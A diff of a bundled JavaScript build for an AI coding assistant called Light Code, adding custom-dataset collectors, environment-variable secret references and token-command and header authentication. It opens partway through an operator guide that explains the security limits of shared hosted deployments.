Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
24554
24554
 
24555
24555
  // src/guideHtml.ts
24556
24556
  function escapeHtml(text) {
@@ -24764,8 +24764,8 @@ function renderGuide(colour, source = OPERATOR_GUIDE) {
24764
24764
  }
24765
24765
 
24766
24766
  // src/sharedConfig.ts
24767
- import fs19 from "node:fs/promises";
24768
- import path26 from "node:path";
24767
+ import fs20 from "node:fs/promises";
24768
+ import path27 from "node:path";
24769
24769
 
24770
24770
  // ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
24771
24771
  var external_exports = {};
@@ -25533,10 +25533,10 @@ function mergeDefs(...defs) {
25533
25533
  function cloneDef(schema) {
25534
25534
  return mergeDefs(schema._zod.def);
25535
25535
  }
25536
- function getElementAtPath(obj, path33) {
25537
- if (!path33)
25536
+ function getElementAtPath(obj, path34) {
25537
+ if (!path34)
25538
25538
  return obj;
25539
- return path33.reduce((acc, key) => acc?.[key], obj);
25539
+ return path34.reduce((acc, key) => acc?.[key], obj);
25540
25540
  }
25541
25541
  function promiseAllObject(promisesObj) {
25542
25542
  const keys = Object.keys(promisesObj);
@@ -25945,11 +25945,11 @@ function explicitlyAborted(x, startIndex = 0) {
25945
25945
  }
25946
25946
  return false;
25947
25947
  }
25948
- function prefixIssues(path33, issues) {
25948
+ function prefixIssues(path34, issues) {
25949
25949
  return issues.map((iss) => {
25950
25950
  var _a3;
25951
25951
  (_a3 = iss).path ?? (_a3.path = []);
25952
- iss.path.unshift(path33);
25952
+ iss.path.unshift(path34);
25953
25953
  return iss;
25954
25954
  });
25955
25955
  }
@@ -26096,16 +26096,16 @@ function flattenError(error51, mapper = (issue2) => issue2.message) {
26096
26096
  }
26097
26097
  function formatError(error51, mapper = (issue2) => issue2.message) {
26098
26098
  const fieldErrors = { _errors: [] };
26099
- const processError = (error52, path33 = []) => {
26099
+ const processError = (error52, path34 = []) => {
26100
26100
  for (const issue2 of error52.issues) {
26101
26101
  if (issue2.code === "invalid_union" && issue2.errors.length) {
26102
- issue2.errors.map((issues) => processError({ issues }, [...path33, ...issue2.path]));
26102
+ issue2.errors.map((issues) => processError({ issues }, [...path34, ...issue2.path]));
26103
26103
  } else if (issue2.code === "invalid_key") {
26104
- processError({ issues: issue2.issues }, [...path33, ...issue2.path]);
26104
+ processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
26105
26105
  } else if (issue2.code === "invalid_element") {
26106
- processError({ issues: issue2.issues }, [...path33, ...issue2.path]);
26106
+ processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
26107
26107
  } else {
26108
- const fullpath = [...path33, ...issue2.path];
26108
+ const fullpath = [...path34, ...issue2.path];
26109
26109
  if (fullpath.length === 0) {
26110
26110
  fieldErrors._errors.push(mapper(issue2));
26111
26111
  } else {
@@ -26132,17 +26132,17 @@ function formatError(error51, mapper = (issue2) => issue2.message) {
26132
26132
  }
26133
26133
  function treeifyError(error51, mapper = (issue2) => issue2.message) {
26134
26134
  const result = { errors: [] };
26135
- const processError = (error52, path33 = []) => {
26135
+ const processError = (error52, path34 = []) => {
26136
26136
  var _a3, _b;
26137
26137
  for (const issue2 of error52.issues) {
26138
26138
  if (issue2.code === "invalid_union" && issue2.errors.length) {
26139
- issue2.errors.map((issues) => processError({ issues }, [...path33, ...issue2.path]));
26139
+ issue2.errors.map((issues) => processError({ issues }, [...path34, ...issue2.path]));
26140
26140
  } else if (issue2.code === "invalid_key") {
26141
- processError({ issues: issue2.issues }, [...path33, ...issue2.path]);
26141
+ processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
26142
26142
  } else if (issue2.code === "invalid_element") {
26143
- processError({ issues: issue2.issues }, [...path33, ...issue2.path]);
26143
+ processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
26144
26144
  } else {
26145
- const fullpath = [...path33, ...issue2.path];
26145
+ const fullpath = [...path34, ...issue2.path];
26146
26146
  if (fullpath.length === 0) {
26147
26147
  result.errors.push(mapper(issue2));
26148
26148
  continue;
@@ -26174,8 +26174,8 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) {
26174
26174
  }
26175
26175
  function toDotPath(_path) {
26176
26176
  const segs = [];
26177
- const path33 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
26178
- for (const seg of path33) {
26177
+ const path34 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
26178
+ for (const seg of path34) {
26179
26179
  if (typeof seg === "number")
26180
26180
  segs.push(`[${seg}]`);
26181
26181
  else if (typeof seg === "symbol")
@@ -38867,13 +38867,13 @@ function resolveRef(ref, ctx) {
38867
38867
  if (!ref.startsWith("#")) {
38868
38868
  throw new Error("External $ref is not supported, only local refs (#/...) are allowed");
38869
38869
  }
38870
- const path33 = ref.slice(1).split("/").filter(Boolean);
38871
- if (path33.length === 0) {
38870
+ const path34 = ref.slice(1).split("/").filter(Boolean);
38871
+ if (path34.length === 0) {
38872
38872
  return ctx.rootSchema;
38873
38873
  }
38874
38874
  const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions";
38875
- if (path33[0] === defsKey) {
38876
- const key = path33[1];
38875
+ if (path34[0] === defsKey) {
38876
+ const key = path34[1];
38877
38877
  if (!key || !ctx.defs[key]) {
38878
38878
  throw new Error(`Reference not found: ${ref}`);
38879
38879
  }
@@ -39447,6 +39447,79 @@ async function build(options, paths) {
39447
39447
  return tls2;
39448
39448
  }
39449
39449
 
39450
+ // ../../packages/core/dist/dataset/types.js
39451
+ var datasetRecordSchema = external_exports.object({
39452
+ /**
39453
+ * Stable across syncs. The same record from the source must come back with the same id, or a
39454
+ * re-sync duplicates it rather than replacing it — which is the failure that turns a useful
39455
+ * corpus into noise a few runs in.
39456
+ */
39457
+ id: external_exports.string().min(1),
39458
+ /** What gets embedded and what a search returns. */
39459
+ text: external_exports.string().min(1),
39460
+ /** A heading for the search result. Falls back to the opening of `text`. */
39461
+ title: external_exports.string().optional(),
39462
+ /** Where it came from — a ticket URL, a file path. Shown so a hit can be followed up. */
39463
+ url: external_exports.string().optional(),
39464
+ /**
39465
+ * Epoch milliseconds. Retention and "what changed this week" both need it.
39466
+ *
39467
+ * Absent is allowed and means "no age", which retention then cannot remove. Defaulting it to
39468
+ * *now* would be worse: every record would age from whenever it was last synced, so nothing
39469
+ * would ever look old and retention would silently never fire.
39470
+ */
39471
+ timestamp: external_exports.number().optional(),
39472
+ /** Anything else the tool wants to keep. Filterable exactly, never embedded. */
39473
+ tags: external_exports.record(external_exports.string(), external_exports.string()).optional()
39474
+ });
39475
+ var datasetPayloadSchema = external_exports.union([
39476
+ external_exports.object({ records: external_exports.array(datasetRecordSchema) }),
39477
+ external_exports.array(datasetRecordSchema)
39478
+ ]);
39479
+ function parseDatasetPayload(value) {
39480
+ const parsed = datasetPayloadSchema.safeParse(value);
39481
+ if (parsed.success) {
39482
+ return { records: Array.isArray(parsed.data) ? parsed.data : parsed.data.records };
39483
+ }
39484
+ return {
39485
+ error: 'The collector tool did not return records in the expected shape. Return a list of {"id": ..., "text": ...} objects, or {"records": [...]}. Each id must be stable across runs so a re-sync updates rather than duplicates. ' + parsed.error.issues.slice(0, 5).map((issue2) => `${issue2.path.join(".")}: ${issue2.message}`).join("; ")
39486
+ };
39487
+ }
39488
+ var datasetConfigSchema = external_exports.object({
39489
+ id: external_exports.string().min(1),
39490
+ name: external_exports.string().min(1, "Give it a name"),
39491
+ /** The Python tool that produces the records, by its bare name. */
39492
+ toolName: external_exports.string().min(1, "Choose a collector tool"),
39493
+ /** Passed to the tool as its arguments, so one tool can serve several datasets. */
39494
+ arguments: external_exports.record(external_exports.string(), external_exports.unknown()).optional(),
39495
+ enabled: external_exports.boolean().optional(),
39496
+ /** How often to re-run the collector. Zero or absent means only when asked. */
39497
+ syncMinutes: external_exports.number().int().min(0).optional(),
39498
+ /** Drop records older than this. Absent means keep everything. */
39499
+ retentionDays: external_exports.number().int().positive().optional(),
39500
+ /** Which vector store to write to. Falls back to the one named for `data`, then the active one. */
39501
+ storeId: external_exports.string().optional()
39502
+ });
39503
+ var COLLECTOR_TOOL_GUIDANCE = [
39504
+ "Writing a collector for a custom dataset:",
39505
+ "- A collector is an ordinary Python tool. Its `run` returns a list of records, each a dict",
39506
+ " with `id` and `text`, and optionally `title`, `url`, `timestamp` (epoch milliseconds) and",
39507
+ " `tags` (a flat dict of strings).",
39508
+ "- **`id` must be stable across runs.** Use the source's own identifier \u2014 a ticket key, a row",
39509
+ " id, a file path. A generated or time-based id makes every sync duplicate the whole corpus",
39510
+ " instead of updating it, which is not obvious until the results are full of near-copies.",
39511
+ "- **`text` is what gets embedded and what a search shows.** Put the meaning in it: a subject",
39512
+ " and a body, not an id and a status code. Roughly a paragraph to a page each works best.",
39513
+ '- Set `timestamp` wherever the source has one. Retention and any "what changed recently"',
39514
+ " question both need it, and it cannot be recovered later.",
39515
+ "- The tool is called with whatever arguments the dataset configures, plus `since` \u2014 epoch",
39516
+ " milliseconds of the last successful sync, or absent on the first. Use it to fetch only what",
39517
+ " changed if the source allows; returning everything each time is correct but slower.",
39518
+ "- Return `[]` when there is nothing new. That is a successful sync, not an error.",
39519
+ "- Keep credentials out of the tool: read them from the environment or from a file the user",
39520
+ " already has. A tool file lives in the workspace and lands in git."
39521
+ ].join("\n");
39522
+
39450
39523
  // ../../packages/core/dist/mcp/types.js
39451
39524
  var stdioServerSchema = external_exports.object({
39452
39525
  command: external_exports.string().min(1),
@@ -39696,9 +39769,42 @@ var apigeeMtlsSettingsSchema = external_exports.object({
39696
39769
  refreshSkewSeconds: external_exports.number().int().nonnegative().optional(),
39697
39770
  extraHeaders: external_exports.record(external_exports.string(), external_exports.string()).optional()
39698
39771
  });
39772
+ var tokenCommandSchema = external_exports.object({
39773
+ command: external_exports.array(external_exports.string().min(1)).min(1, "Give the program and its arguments").describe("argv. Spawned directly \u2014 nothing is parsed by a shell."),
39774
+ cwd: external_exports.string().optional(),
39775
+ tokenPath: external_exports.string().optional(),
39776
+ expiresInPath: external_exports.string().optional(),
39777
+ fallbackExpirySeconds: external_exports.number().int().positive().optional(),
39778
+ refreshSkewSeconds: external_exports.number().int().nonnegative().optional(),
39779
+ timeoutSeconds: external_exports.number().int().positive().optional(),
39780
+ headerName: external_exports.string().optional(),
39781
+ headerPrefix: external_exports.string().optional(),
39782
+ env: external_exports.record(external_exports.string(), external_exports.string()).optional()
39783
+ });
39699
39784
  var authSchema = external_exports.discriminatedUnion("type", [
39700
39785
  external_exports.object({ type: external_exports.literal("none") }),
39786
+ /**
39787
+ * `apiKeyRef` may name the environment as well as the secret store.
39788
+ *
39789
+ * `env:API_TOKEN` reads it from the process environment — see `auth/secretRef.ts`. Anything
39790
+ * else is a key into `SecretStore`, which is what the UI writes.
39791
+ */
39701
39792
  external_exports.object({ type: external_exports.literal("apiKey"), apiKeyRef: external_exports.string().min(1) }),
39793
+ external_exports.object({ type: external_exports.literal("tokenCommand"), tokenCommand: tokenCommandSchema }),
39794
+ /**
39795
+ * A fixed header the gateway expects, with no API key involved.
39796
+ *
39797
+ * Each value is a *reference* — a secret-store key, or `env:NAME` — never a literal, because
39798
+ * the profile lives in the config file and §15 is explicit that a credential never does.
39799
+ */
39800
+ external_exports.object({
39801
+ type: external_exports.literal("header"),
39802
+ headers: external_exports.array(external_exports.object({
39803
+ name: external_exports.string().min(1, "Give the header name"),
39804
+ valueRef: external_exports.string().min(1, "Give the value, or env:NAME"),
39805
+ prefix: external_exports.string().optional()
39806
+ })).min(1, "Add at least one header")
39807
+ }),
39702
39808
  external_exports.object({
39703
39809
  type: external_exports.literal("apigeeMtls"),
39704
39810
  certs: certConfigSchema,
@@ -39742,6 +39848,7 @@ var providerProfileSchema = external_exports.object({
39742
39848
  });
39743
39849
 
39744
39850
  // ../../packages/core/dist/config/schema.js
39851
+ var datasetsConfigSchema = external_exports.array(datasetConfigSchema);
39745
39852
  var pythonConfigSchema = external_exports.object({
39746
39853
  /**
39747
39854
  * Off by default and explicitly three-state. This is the sharpest surface in the
@@ -39761,6 +39868,17 @@ var pythonConfigSchema = external_exports.object({
39761
39868
  * user storage is the fallback.
39762
39869
  */
39763
39870
  venvPath: external_exports.string(),
39871
+ /**
39872
+ * A Python interpreter to use directly, with no virtualenv and no uv.
39873
+ *
39874
+ * For an environment somebody else already built — a Streamlit app, a container, a conda env
39875
+ * — where the interpreter has the internal libraries the tools need and installing a package
39876
+ * manager to reach it makes no sense. Left unset, uv is preferred and this is the fallback:
39877
+ * `python3`, then `python`, from PATH.
39878
+ *
39879
+ * User-scope only for the same reason as `uvPath`: it names a program that gets run.
39880
+ */
39881
+ interpreterPath: external_exports.string(),
39764
39882
  /**
39765
39883
  * Package index for tool dependencies. §3 treats `uv` resolving PyPI as *our* egress
39766
39884
  * rather than the user's, so pointing it at an internal mirror is the expected
@@ -40020,7 +40138,15 @@ var retrievalConfigSchema = external_exports.object({
40020
40138
  /** Indexed mail. Usually local, and deliberately easy to keep separate. */
40021
40139
  mail: external_exports.string().min(1),
40022
40140
  /** The team's shared skills. Often the same cluster as the code. */
40023
- skills: external_exports.string().min(1)
40141
+ skills: external_exports.string().min(1),
40142
+ /**
40143
+ * Corpora the user collects themselves.
40144
+ *
40145
+ * Routed separately for the same reason mail is: somebody's own collected data —
40146
+ * tickets, extracts from an internal system — is frequently the thing they most want
40147
+ * kept off a cluster their team shares.
40148
+ */
40149
+ data: external_exports.string().min(1)
40024
40150
  }).partial()
40025
40151
  }).partial();
40026
40152
  function storeIdFor(purpose, config2) {
@@ -40208,6 +40334,7 @@ var configSchema = external_exports.object({
40208
40334
  programmingProfileId: external_exports.string(),
40209
40335
  certDir: external_exports.string(),
40210
40336
  python: pythonConfigSchema,
40337
+ datasets: datasetsConfigSchema,
40211
40338
  /**
40212
40339
  * Keyed by workspace path. Per-workspace in *behaviour* (§8) but stored user-side and
40213
40340
  * user-scope-only (invariant 5) — a repo must not be able to ship its own
@@ -40679,6 +40806,19 @@ var GUIDE_STEPS = [
40679
40806
  "You get a writable folder plus any number of read-only ones, such as a shared team folder, with PATH-style precedence and shadowing reported rather than silently applied. Writing a skill needs approval too: it is prose that steers every future turn."
40680
40807
  ]
40681
40808
  },
40809
+ {
40810
+ id: "customData",
40811
+ title: "Custom data - bring your own corpus",
40812
+ tab: "customData",
40813
+ completionEvents: ["onStepSelected"],
40814
+ altText: "The Custom data tab, showing a dataset with its collector tool, record count, schedule and last sync, alongside buttons for syncing, rebuilding and clearing it.",
40815
+ body: [
40816
+ "The data you most want the assistant to know is rarely on disk. It is in a ticketing system, a wiki, a database, an internal API - reachable, but only through something that knows how your organisation authenticates.",
40817
+ "So you point at a tool that returns records, and Light Code does the rest: embedding them, keeping them current, and searching them with `search_data`. The collector is an ordinary Python tool or an MCP tool you already have - one function signature rather than a connector per system.",
40818
+ "You do not have to write it. Tell the assistant where the data lives and ask for a collector; it already has the contract and will offer one for you to approve.",
40819
+ "Each dataset has its own schedule - including **only when I ask**, which is the right answer for a source that is expensive or that only changes when somebody does something. Clear, rebuild and a retention window are all here, and a progress bar with a Stop for the first sync of something large."
40820
+ ]
40821
+ },
40682
40822
  {
40683
40823
  id: "search",
40684
40824
  title: "Search - find things by meaning",
@@ -40781,6 +40921,9 @@ var USER_SCOPE_ONLY_KEYS = [
40781
40921
  // Added for Phase 8b, and the sharpest entries on this list. A workspace able to name a
40782
40922
  // cluster, or repoint the embedder at a profile of its choosing, would exfiltrate
40783
40923
  // whatever gets indexed — and what gets indexed is the source code.
40924
+ // A dataset names a program to run *and* a store to write what it produced into — the `python`
40925
+ // threat and the `embedder` threat in one key, on a timer.
40926
+ "datasets",
40784
40927
  "vectorStores",
40785
40928
  "activeVectorStoreId",
40786
40929
  "embedder",
@@ -41278,6 +41421,30 @@ function resolveActiveProfile(config2) {
41278
41421
  return found;
41279
41422
  }
41280
41423
 
41424
+ // ../../packages/core/dist/providers/auth/secretRef.js
41425
+ var ENV_REF_PREFIX = "env:";
41426
+ function describeSecretRef(ref) {
41427
+ if (!ref.startsWith(ENV_REF_PREFIX))
41428
+ return { kind: "store" };
41429
+ const envVar = ref.slice(ENV_REF_PREFIX.length).trim();
41430
+ return envVar.length === 0 ? { kind: "store" } : { kind: "env", envVar };
41431
+ }
41432
+ async function resolveSecretRef(ref, options) {
41433
+ const described = describeSecretRef(ref);
41434
+ if (described.kind === "env") {
41435
+ const value = (options.env ?? process.env)[described.envVar];
41436
+ return value === void 0 || value.trim().length === 0 ? void 0 : value;
41437
+ }
41438
+ return options.secrets.get(ref);
41439
+ }
41440
+ function describeMissingSecret(ref, what = "API key") {
41441
+ const described = describeSecretRef(ref);
41442
+ if (described.kind === "env") {
41443
+ return `The ${what} is configured to come from the environment variable ${String(described.envVar)}, which is not set in this process. Set it before starting Light Code \u2014 a variable exported after the process began is not visible to it. If a launcher sets it, check that it is exported rather than assigned only in its own shell.`;
41444
+ }
41445
+ return `${what.charAt(0).toUpperCase()}${what.slice(1)} missing for this provider profile. Open Settings (the icon in the Light Code header), edit the active profile, and enter it again.`;
41446
+ }
41447
+
41281
41448
  // ../../packages/core/dist/providers/auth/apiKey.js
41282
41449
  function defaultApiKeyHeader(wireFormat) {
41283
41450
  switch (wireFormat) {
@@ -41299,9 +41466,9 @@ var ApiKeyAuthStrategy = class {
41299
41466
  this.header = header;
41300
41467
  }
41301
41468
  async resolveHeaders() {
41302
- const key = await this.secrets.get(this.apiKeyRef);
41469
+ const key = await resolveSecretRef(this.apiKeyRef, { secrets: this.secrets });
41303
41470
  if (key === void 0) {
41304
- throw new Error("API key missing for this provider profile. Open Settings (the icon in the Light Code header), edit the active profile, and enter the API key again.");
41471
+ throw new Error(describeMissingSecret(this.apiKeyRef));
41305
41472
  }
41306
41473
  return { [this.header.name]: `${this.header.prefix}${key}` };
41307
41474
  }
@@ -41312,6 +41479,162 @@ var NoAuthStrategy = class {
41312
41479
  }
41313
41480
  };
41314
41481
 
41482
+ // ../../packages/core/dist/providers/auth/header.js
41483
+ var HeaderAuthStrategy = class {
41484
+ secrets;
41485
+ credentials;
41486
+ constructor(secrets, credentials) {
41487
+ this.secrets = secrets;
41488
+ this.credentials = credentials;
41489
+ }
41490
+ async resolveHeaders() {
41491
+ const headers = {};
41492
+ for (const credential of this.credentials) {
41493
+ const value = await resolveSecretRef(credential.valueRef, { secrets: this.secrets });
41494
+ if (value === void 0) {
41495
+ throw new Error(`${describeMissingSecret(credential.valueRef, `the value for header "${credential.name}"`)}`);
41496
+ }
41497
+ headers[credential.name] = `${credential.prefix ?? ""}${value}`;
41498
+ }
41499
+ return headers;
41500
+ }
41501
+ };
41502
+
41503
+ // ../../packages/core/dist/providers/auth/tokenCommand.js
41504
+ import { spawn } from "node:child_process";
41505
+ function readPath(source, dotted) {
41506
+ let current = source;
41507
+ for (const part of dotted.split(".")) {
41508
+ if (current === null || typeof current !== "object")
41509
+ return void 0;
41510
+ current = current[part];
41511
+ }
41512
+ return current;
41513
+ }
41514
+ var TokenCommandAuthStrategy = class {
41515
+ settings;
41516
+ held;
41517
+ inFlight;
41518
+ constructor(settings) {
41519
+ this.settings = settings;
41520
+ if (settings.command.length === 0) {
41521
+ throw new Error("The token command is empty. Give the program and its arguments.");
41522
+ }
41523
+ }
41524
+ async resolveHeaders() {
41525
+ const token = await this.token();
41526
+ const name = this.settings.headerName ?? "Authorization";
41527
+ const prefix = this.settings.headerPrefix ?? "Bearer ";
41528
+ return { [name]: `${prefix}${token.value}` };
41529
+ }
41530
+ /**
41531
+ * Checked before a stream opens, with margin for a long generation.
41532
+ *
41533
+ * The same reasoning as the Apigee strategy: a token that expires halfway through a response
41534
+ * cannot be recovered from without discarding what has already been written.
41535
+ */
41536
+ async ensureTokenForStream(marginSeconds = 120) {
41537
+ const deadline = Date.now() + marginSeconds * 1e3;
41538
+ if (this.held === void 0 || this.held.expiresAt <= deadline) {
41539
+ this.held = void 0;
41540
+ await this.token();
41541
+ }
41542
+ }
41543
+ /** Drops the held token, so the next request fetches a new one. For a 401 retry. */
41544
+ invalidate() {
41545
+ this.held = void 0;
41546
+ }
41547
+ async token() {
41548
+ const skew = (this.settings.refreshSkewSeconds ?? 60) * 1e3;
41549
+ if (this.held !== void 0 && this.held.expiresAt - skew > Date.now())
41550
+ return this.held;
41551
+ this.inFlight ??= this.fetch().then((token) => {
41552
+ this.held = token;
41553
+ return token;
41554
+ }).finally(() => {
41555
+ this.inFlight = void 0;
41556
+ });
41557
+ return this.inFlight;
41558
+ }
41559
+ async fetch() {
41560
+ const [program, ...args] = this.settings.command;
41561
+ const timeout = (this.settings.timeoutSeconds ?? 30) * 1e3;
41562
+ const output = await new Promise((resolve, reject2) => {
41563
+ const child = spawn(program, args, {
41564
+ // Never `shell: true`. See the note at the top of this file.
41565
+ shell: false,
41566
+ ...this.settings.cwd === void 0 ? {} : { cwd: this.settings.cwd },
41567
+ env: { ...process.env, ...this.settings.env ?? {} }
41568
+ });
41569
+ let stdout = "";
41570
+ let stderr = "";
41571
+ let settled = false;
41572
+ const timer = setTimeout(() => {
41573
+ if (settled)
41574
+ return;
41575
+ settled = true;
41576
+ child.kill();
41577
+ reject2(new Error(`The token command did not finish within ${String(timeout / 1e3)}s: ${program}. Raise its timeout, or check whether it is waiting for input \u2014 a command that prompts will never return here, because nothing is attached to answer.`));
41578
+ }, timeout);
41579
+ child.stdout.on("data", (chunk) => stdout += chunk.toString());
41580
+ child.stderr.on("data", (chunk) => stderr += chunk.toString());
41581
+ child.on("error", (error51) => {
41582
+ if (settled)
41583
+ return;
41584
+ settled = true;
41585
+ clearTimeout(timer);
41586
+ reject2(new Error(error51.code === "ENOENT" ? `The token command's program was not found: ${program}. Give an absolute path, or make sure it is on the PATH of the process that started Light Code.` : `The token command could not be started: ${error51.message}`));
41587
+ });
41588
+ child.on("close", (code) => {
41589
+ if (settled)
41590
+ return;
41591
+ settled = true;
41592
+ clearTimeout(timer);
41593
+ if (code === 0) {
41594
+ resolve(stdout);
41595
+ return;
41596
+ }
41597
+ const detail = stderr.trim().length > 0 ? stderr.trim() : stdout.trim();
41598
+ reject2(new Error(`The token command exited with code ${String(code ?? -1)}.` + (detail.length > 0 ? `
41599
+ ${detail.slice(0, 2e3)}` : " It printed nothing.")));
41600
+ });
41601
+ });
41602
+ return this.parse(output);
41603
+ }
41604
+ parse(stdout) {
41605
+ const fallback = (this.settings.fallbackExpirySeconds ?? 3600) * 1e3;
41606
+ if (this.settings.tokenPath === void 0) {
41607
+ const value2 = stdout.trim();
41608
+ if (value2.length === 0) {
41609
+ throw new Error("The token command succeeded but printed nothing. It must write the token to stdout, or name `tokenPath` if it prints JSON.");
41610
+ }
41611
+ if (/\s/.test(value2)) {
41612
+ throw new Error("The token command printed more than one line, so it is not clear which part is the token. Print only the token, or have it print JSON and set `tokenPath`.");
41613
+ }
41614
+ return { value: value2, expiresAt: Date.now() + fallback };
41615
+ }
41616
+ let parsed;
41617
+ try {
41618
+ parsed = JSON.parse(stdout);
41619
+ } catch {
41620
+ throw new Error(`\`tokenPath\` is set, so the token command's output is read as JSON \u2014 and it did not parse. It printed: ${stdout.trim().slice(0, 200)}`);
41621
+ }
41622
+ const value = readPath(parsed, this.settings.tokenPath);
41623
+ if (typeof value !== "string" || value.trim().length === 0) {
41624
+ throw new Error(`The token command's JSON has nothing usable at "${this.settings.tokenPath}". It printed: ${stdout.trim().slice(0, 200)}`);
41625
+ }
41626
+ let lifetime = fallback;
41627
+ if (this.settings.expiresInPath !== void 0) {
41628
+ const reported = readPath(parsed, this.settings.expiresInPath);
41629
+ const seconds = typeof reported === "string" ? Number(reported) : reported;
41630
+ if (typeof seconds === "number" && Number.isFinite(seconds) && seconds > 0) {
41631
+ lifetime = seconds * 1e3;
41632
+ }
41633
+ }
41634
+ return { value: value.trim(), expiresAt: Date.now() + lifetime };
41635
+ }
41636
+ };
41637
+
41315
41638
  // ../../packages/core/dist/providers/auth/apigeeMtls.js
41316
41639
  var DEFAULTS = {
41317
41640
  grantType: "client_credentials",
@@ -41330,7 +41653,7 @@ function defaultTokenUrl(baseUrl) {
41330
41653
  return "";
41331
41654
  }
41332
41655
  }
41333
- function readPath(source, dottedPath) {
41656
+ function readPath2(source, dottedPath) {
41334
41657
  return dottedPath.split(".").reduce((current, segment) => {
41335
41658
  if (typeof current !== "object" || current === null)
41336
41659
  return void 0;
@@ -41449,11 +41772,11 @@ var ApigeeMtlsAuthStrategy = class {
41449
41772
  throw new ApigeeAuthError(`The token endpoint at ${tokenUrl} did not return JSON.`);
41450
41773
  }
41451
41774
  const tokenPath = this.settings.tokenPath ?? DEFAULTS.tokenPath;
41452
- const value = readPath(payload, tokenPath);
41775
+ const value = readPath2(payload, tokenPath);
41453
41776
  if (typeof value !== "string" || value.length === 0) {
41454
41777
  throw new ApigeeAuthError(`The token endpoint response has no token at "${tokenPath}". Set tokenPath if your gateway nests it elsewhere.`);
41455
41778
  }
41456
- const rawExpiry = readPath(payload, this.settings.expiresInPath ?? DEFAULTS.expiresInPath);
41779
+ const rawExpiry = readPath2(payload, this.settings.expiresInPath ?? DEFAULTS.expiresInPath);
41457
41780
  const expiresInSeconds = typeof rawExpiry === "number" && rawExpiry > 0 ? rawExpiry : typeof rawExpiry === "string" && Number.parseInt(rawExpiry, 10) > 0 ? Number.parseInt(rawExpiry, 10) : this.settings.fallbackExpirySeconds ?? DEFAULTS.fallbackExpirySeconds;
41458
41781
  const skew = this.settings.refreshSkewSeconds ?? DEFAULTS.refreshSkewSeconds;
41459
41782
  const issuedAt = this.now();
@@ -41714,6 +42037,16 @@ function createBaseAuthStrategy(auth2, context) {
41714
42037
  prefix: context.apiKeyHeaderPrefix ?? derived.prefix
41715
42038
  });
41716
42039
  }
42040
+ case "tokenCommand": {
42041
+ const derived = defaultApiKeyHeader(context.wireFormat ?? "openai");
42042
+ return new TokenCommandAuthStrategy({
42043
+ ...auth2.tokenCommand,
42044
+ headerName: auth2.tokenCommand.headerName ?? context.apiKeyHeaderName ?? derived.name,
42045
+ headerPrefix: auth2.tokenCommand.headerPrefix ?? context.apiKeyHeaderPrefix ?? derived.prefix
42046
+ });
42047
+ }
42048
+ case "header":
42049
+ return new HeaderAuthStrategy(context.secrets, auth2.headers);
41717
42050
  case "none":
41718
42051
  return new NoAuthStrategy();
41719
42052
  case "apigeeMtls": {
@@ -41905,7 +42238,11 @@ async function testConnection(profile, context, http, signal) {
41905
42238
  } else {
41906
42239
  try {
41907
42240
  await auth2.resolveHeaders();
41908
- steps.push({ step: "token", status: "ok", detail: "Credential resolved from secure storage." });
42241
+ steps.push({
42242
+ step: "token",
42243
+ status: "ok",
42244
+ detail: profile.auth.type === "tokenCommand" ? "The token command ran and returned a token." : profile.auth.type === "apiKey" && profile.auth.apiKeyRef.startsWith("env:") ? `Key read from ${profile.auth.apiKeyRef.slice("env:".length)}.` : "Credential resolved from secure storage."
42245
+ });
41909
42246
  } catch (error51) {
41910
42247
  steps.push({ step: "token", status: "failed", detail: messageOf(error51) });
41911
42248
  steps.push({ step: "models", status: "skipped", detail: "Not attempted \u2014 no credential." });
@@ -42688,8 +43025,8 @@ var SUPERSEDED_MARKER = "[Superseded: this file was read again later in the conv
42688
43025
  function readFilePath(argumentsJson) {
42689
43026
  try {
42690
43027
  const parsed = JSON.parse(argumentsJson.length > 0 ? argumentsJson : "{}");
42691
- const path33 = parsed.path;
42692
- return typeof path33 === "string" && path33.length > 0 ? path33 : void 0;
43028
+ const path34 = parsed.path;
43029
+ return typeof path34 === "string" && path34.length > 0 ? path34 : void 0;
42693
43030
  } catch {
42694
43031
  return void 0;
42695
43032
  }
@@ -42702,8 +43039,8 @@ function dropSupersededReads(messages) {
42702
43039
  for (const toolCall of message3.toolCalls ?? []) {
42703
43040
